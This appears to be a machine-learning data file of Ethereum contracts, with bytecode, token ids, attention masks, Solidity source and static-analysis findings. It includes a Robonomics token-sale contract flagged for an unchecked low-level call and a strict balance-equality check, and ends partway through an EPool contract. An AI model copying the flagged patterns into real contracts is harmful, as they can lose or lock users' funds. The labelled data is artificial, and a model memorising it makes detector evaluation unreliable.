060020a900460ff16156105e557600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600481527f58434f4e00000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561069457600080fd5b6104028383610a61565b60035460009060a060020a900460ff16156106b857600080fd5b6104028383610b42565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461070457600080fd5b600160a060020a038116151561071957600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107ff57600080fd5b600160a060020a03841660009081526020819052604090205482111561082457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561085457600080fd5b600160a060020a03841660009081526020819052604090205461087d908363ffffffff61095f16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546108b2908363ffffffff610bdb16565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546108f4908363ffffffff61095f16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60008282111561096b57fe5b50900390565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156109c657336000908152600260209081526040808320600160a060020a03881684529091528120556109fb565b6109d6818463ffffffff61095f16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610a7857600080fd5b33600090815260208190526040902054821115610a9457600080fd5b33600090815260208190526040902054610ab4908363ffffffff61095f16565b3360009081526020819052604080822092909255600160a060020a03851681522054610ae6908363ffffffff610bdb16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b76908363ffffffff610bdb16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60008282018381101561040257fe00a165627a7a72305820bbe6ffb40a6e9780db88557fe161c038f0c36e291b69cf50b2ba6ce8c36c95710029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 21926, 2050, 2581, 2050, 23499, 2278, 2629, 2063, 2509, 2063, 2692, 10322, 22907, 2581, 2683, 3540, 19481, 22022, 2546, 28311, 2629, 19797, 2050, 2683, 2094, 16086, 18827, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,058
0x96257d0906149fb387cde1ccef15c1a072782af4
/** *Submitted for verification at Etherscan.io on 2020-09-15 */ /** *Submitted for verification at Etherscan.io on 2020-09-13 */ // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * Robonomics DAO BigBag sale. * (c) Robonomics Team <research@robonomics.network> * * SPDX-License-Identifier: MIT */ pragma solidity 0.6.12; contract BigBag { using SafeERC20 for IERC20; address public dao_agent = 0xe40C0C4F8E2424c74e13a301C133ce8b80d90549; IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7); uint256 public amount_wei = 10 ether; uint256 public amount_wn = 216307123669; function buy() payable external { require(msg.value == amount_wei, "transaction value does not match"); xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn); dao_agent.call{gas: 50000, value: msg.value}(""); require(address(this).balance == 0, "transfer is not complete"); } }
0x60806040526004361061004a5760003560e01c806311c33f561461004f578063330f958814610080578063a6f2ae3a14610095578063b7c15d561461009f578063e871c539146100c6575b600080fd5b34801561005b57600080fd5b506100646100db565b604080516001600160a01b039092168252519081900360200190f35b34801561008c57600080fd5b506100646100ea565b61009d6100f9565b005b3480156100ab57600080fd5b506100b4610222565b60408051918252519081900360200190f35b3480156100d257600080fd5b506100b4610228565b6000546001600160a01b031681565b6001546001600160a01b031681565b600254341461014f576040805162461bcd60e51b815260206004820181905260248201527f7472616e73616374696f6e2076616c756520646f6573206e6f74206d61746368604482015290519081900360640190fd5b600054600354600154610172926001600160a01b0391821692911690339061022e565b600080546040516001600160a01b039091169161c350913491818181858888f193505050503d80600081146101c3576040519150601f19603f3d011682016040523d82523d6000602084013e6101c8565b606091505b50505047600014610220576040805162461bcd60e51b815260206004820152601860248201527f7472616e73666572206973206e6f7420636f6d706c6574650000000000000000604482015290519081900360640190fd5b565b60025481565b60035481565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261028890859061028e565b50505050565b60606102e3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166103449092919063ffffffff16565b80519091501561033f5780806020019051602081101561030257600080fd5b505161033f5760405162461bcd60e51b815260040180806020018281038252602a815260200180610540602a913960400191505060405180910390fd5b505050565b6060610353848460008561035b565b949350505050565b606061036685610506565b6103b7576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106103f65780518252601f1990920191602091820191016103d7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610458576040519150601f19603f3d011682016040523d82523d6000602084013e61045d565b606091505b509150915081156104715791506103539050565b8051156104815780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156104cb5781810151838201526020016104b3565b50505050905090810190601f1680156104f85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061035357505015159291505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122062d2799d45626a837044c081ebdff58d617d7b506e4e6327b3d05975a896e12f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 17788, 2581, 2094, 2692, 21057, 2575, 16932, 2683, 26337, 22025, 2581, 19797, 2063, 2487, 9468, 12879, 16068, 2278, 2487, 2050, 2692, 2581, 22907, 2620, 2475, 10354, 2549, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2321, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2410, 1008, 1013, 1013, 1013, 5371, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 1058, 2509, 1012, 1015, 1012, 1014, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,059
0x9625885Db4e75e9DCcF856E640886853bC6d6584
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IETokenFactory.sol"; import "./interfaces/IEToken.sol"; import "./interfaces/IEPool.sol"; import "./utils/ControllerMixin.sol"; import "./utils/ChainlinkMixin.sol"; import "./utils/TokenUtils.sol"; import "./utils/Math.sol"; import "./EPoolLibrary.sol"; contract EPool is ControllerMixin, ChainlinkMixin, IEPool { using SafeERC20 for IERC20; using TokenUtils for IERC20; using TokenUtils for IEToken; uint256 public constant FEE_RATE_LIMIT = 0.5e18; uint256 public constant TRANCHE_LIMIT = 5; IETokenFactory public immutable eTokenFactory; IERC20 public immutable override tokenA; IERC20 public immutable override tokenB; // scaling factor for TokenA and TokenB // assuming decimals can't be changed for both token uint256 public immutable override sFactorA; uint256 public immutable override sFactorB; mapping(address => Tranche) public tranches; address[] public tranchesByIndex; // rebalancing strategy uint256 public override rebalanceMinRDiv; uint256 public override rebalanceInterval; uint256 public override lastRebalance; // fees uint256 public override feeRate; uint256 public override cumulativeFeeA; uint256 public override cumulativeFeeB; event AddedTranche(address indexed eToken); event RebalancedTranches(uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv); event IssuedEToken(address indexed eToken, uint256 amount, uint256 amountA, uint256 amountB, address user); event RedeemedEToken(address indexed eToken, uint256 amount, uint256 amountA, uint256 amountB, address user); event SetMinRDiv(uint256 minRDiv); event SetRebalanceInterval(uint256 interval); event SetFeeRate(uint256 feeRate); event TransferFees(address indexed feesOwner, uint256 cumulativeFeeA, uint256 cumulativeFeeB); event RecoveredToken(address token, uint256 amount); /** * @dev Token with higher precision should be set as TokenA for max. precision * @param _controller Address of Controller * @param _eTokenFactory Address of the EToken factory * @param _tokenA Address of TokenA * @param _tokenB Address of TokenB * @param _aggregator Address of the exchange rate aggregator * @param inverseRate Bool indicating whether rate returned from aggregator should be inversed (1/rate) */ constructor( IController _controller, IETokenFactory _eTokenFactory, IERC20 _tokenA, IERC20 _tokenB, address _aggregator, bool inverseRate ) ControllerMixin(_controller) ChainlinkMixin(_aggregator, inverseRate, EPoolLibrary.sFactorI) { eTokenFactory = _eTokenFactory; (tokenA, tokenB) = (_tokenA, _tokenB); (sFactorA, sFactorB) = (10**_tokenA.decimals(), 10**_tokenB.decimals()); } /** * @notice Returns the address of the current Aggregator which provides the exchange rate between TokenA and TokenB * @return Address of aggregator */ function getController() external view override returns (address) { return address(controller); } /** * @notice Updates the Controller * @dev Can only called by an authorized sender * @param _controller Address of the new Controller * @return True on success */ function setController(address _controller) external override onlyDao("EPool: not dao") returns (bool) { _setController(_controller); return true; } /** * @notice Returns the price of TokenA denominated in TokenB * @return current exchange rate */ function getRate() external view override returns (uint256) { return _rate(); } /** * @notice Returns the address of the current Aggregator which provides the exchange rate between TokenA and TokenB * @return Address of aggregator */ function getAggregator() external view override returns (address) { return address(aggregator); } /** * @notice Updates the Aggregator which provides the the exchange rate between TokenA and TokenB * @dev Can only called by an authorized sender. Setting the aggregator to 0x0 disables rebalancing * and issuance of new EToken and redeeming TokenA and TokenB is based on the users current share of EToken. * @param _aggregator Address of the new exchange rate aggregator * @param inverseRate Bool indicating whether rate returned from aggregator should be inversed (1/rate) * @return True on success */ function setAggregator( address _aggregator, bool inverseRate ) external override onlyDao("EPool: not dao") returns (bool) { _setAggregator(_aggregator, inverseRate); return true; } /** * @notice Set min. deviation (in percentage scaled by 1e18) required for triggering a rebalance * @dev Can only be called by an authorized sender * @param minRDiv min. ratio deviation * @return True on success */ function setMinRDiv( uint256 minRDiv ) external onlyDao("EPool: not dao") returns (bool) { rebalanceMinRDiv = minRDiv; emit SetMinRDiv(minRDiv); return true; } /** * @notice Set frequency of rebalances * @dev Can only be called by an authorized sender * @param interval rebalance interval * @return True on success */ function setRebalanceInterval( uint256 interval ) external onlyDao("EPool: not dao") returns (bool) { rebalanceInterval = interval; emit SetRebalanceInterval(interval); return true; } /** * @notice Sets the fee rate * @dev Can only be called by the dao * @param _feeRate fee rate * @return True on success */ function setFeeRate(uint256 _feeRate) external override onlyDao("EPool: not dao") returns (bool) { require(_feeRate <= FEE_RATE_LIMIT, "EPool: above fee rate limit"); feeRate = _feeRate; emit SetFeeRate(_feeRate); return true; } /** * @notice Transfers the accumulated fees in TokenA and TokenB to feesOwner * @return True on success */ function transferFees() external override returns (bool) { (uint256 _cumulativeFeeA, uint256 _cumulativeFeeB) = (cumulativeFeeA, cumulativeFeeB); (cumulativeFeeA, cumulativeFeeB) = (0, 0); tokenA.safeTransfer(controller.feesOwner(), _cumulativeFeeA); tokenB.safeTransfer(controller.feesOwner(), _cumulativeFeeB); emit TransferFees(controller.feesOwner(), _cumulativeFeeA, _cumulativeFeeB); return true; } /** * @notice Returns the tranche data for a EToken * @param eToken Address of the EToken * @return Tranche */ function getTranche(address eToken) external view override returns(Tranche memory) { return tranches[eToken]; } /** * @notice Returns the all tranches of the EPool * @return _tranches Tranches */ function getTranches() external view override returns(Tranche[] memory _tranches) { _tranches = new Tranche[](tranchesByIndex.length); for (uint256 i = 0; i < tranchesByIndex.length; i++) { _tranches[i] = tranches[tranchesByIndex[i]]; } } /** * @notice Adds a new tranche to the EPool * @dev Can only called by an authorized sender * @param targetRatio Target ratio between reserveA and reserveB as reserveValueA/reserveValueB * @param eTokenName Name of the tranches EToken * @param eTokenSymbol Symbol of the tranches EToken * @return True on success */ function addTranche( uint256 targetRatio, string memory eTokenName, string memory eTokenSymbol ) external override onlyDao("EPool: not dao") returns (bool) { require(tranchesByIndex.length < TRANCHE_LIMIT, "EPool: max. tranche count"); require(targetRatio != 0, "EPool: targetRatio == 0"); IEToken eToken = eTokenFactory.createEToken(eTokenName, eTokenSymbol); tranches[address(eToken)] = Tranche(eToken, 10**eToken.decimals(), 0, 0, targetRatio); tranchesByIndex.push(address(eToken)); emit AddedTranche(address(eToken)); return true; } function _trancheDelta( Tranche storage t, uint256 fracDelta ) internal view returns (uint256 deltaA, uint256 deltaB, uint256 rChange) { uint256 rate = _rate(); (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = EPoolLibrary.trancheDelta( t, rate, sFactorA, sFactorB ); (deltaA, deltaB, rChange) = ( fracDelta * _deltaA / EPoolLibrary.sFactorI, fracDelta * _deltaB / EPoolLibrary.sFactorI, _rChange ); } /** * @notice Rebalances all tranches based on the current rate */ function _rebalanceTranches( uint256 fracDelta ) internal returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { require(fracDelta <= EPoolLibrary.sFactorI, "EPool: fracDelta > 1.0"); uint256 totalReserveA; int256 totalDeltaA; int256 totalDeltaB; for (uint256 i = 0; i < tranchesByIndex.length; i++) { Tranche storage t = tranches[tranchesByIndex[i]]; totalReserveA += t.reserveA; (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = _trancheDelta(t, fracDelta); if (_rChange == 0) { (t.reserveA, t.reserveB) = (t.reserveA - _deltaA, t.reserveB + _deltaB); (totalDeltaA, totalDeltaB) = (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB)); } else { (t.reserveA, t.reserveB) = (t.reserveA + _deltaA, t.reserveB - _deltaB); (totalDeltaA, totalDeltaB) = (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB)); } } if (totalDeltaA > 0 && totalDeltaB < 0) { (deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1); } else if (totalDeltaA < 0 && totalDeltaB > 0) { (deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0); } rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA; emit RebalancedTranches(deltaA, deltaB, rChange, rDiv); } /** * @notice Rebalances all tranches based on the current rate * @dev Can be overriden contract inherting EPool for custom logic during rebalancing * 